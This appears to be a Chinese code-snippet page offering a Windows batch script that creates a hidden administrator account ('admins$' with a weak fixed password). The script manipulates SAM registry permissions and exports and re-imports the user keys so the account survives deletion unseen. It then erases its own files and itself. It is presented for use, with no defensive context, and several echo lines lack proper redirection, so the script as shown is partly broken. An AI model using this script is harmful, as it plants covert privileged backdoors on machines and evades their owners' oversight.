批处理 添加隐藏用户代码

(编辑:jimmy 日期: 2024/12/25 浏览:2)

复制代码 代码如下:
  net user admins$ 1234567 /add
net localgroup administrators admins$ /add
Echo HKEY_LOCAL_MACHINE\SAM [1] c:/tem.ini
Echo HKEY_LOCAL_MACHINE\SAM\SAM [1] c:/tem.ini
Echo HKEY ...
  net user admins$ 1234567 /add
  net localgroup administrators admins$ /add
  Echo HKEY_LOCAL_MACHINE\SAM [1] c:/tem.ini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM [1] c:/tem.ini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1] c:/tem.ini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1] c:/tem.ini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1] c:/tem.ini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1] c:/tem.ini
  regini c:/tem.ini
  regedit /e c:\1.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
  net user admins$ /del
  regedit /s c:\1.reg
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [0] >c:/tem.ini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [0] c:/tem.ini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [0] c:/tem.ini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains [0] c:/tem.ini
  Echo HKEY_LOCAL_MACHINE\SAM\SAM [0] c:/tem.ini
  Echo HKEY_LOCAL_MACHINE\SAM\ [0] c:/tem.ini
  regini c:/tem.ini
  del c:\tem.ini
  del c:\1.reg
  del %0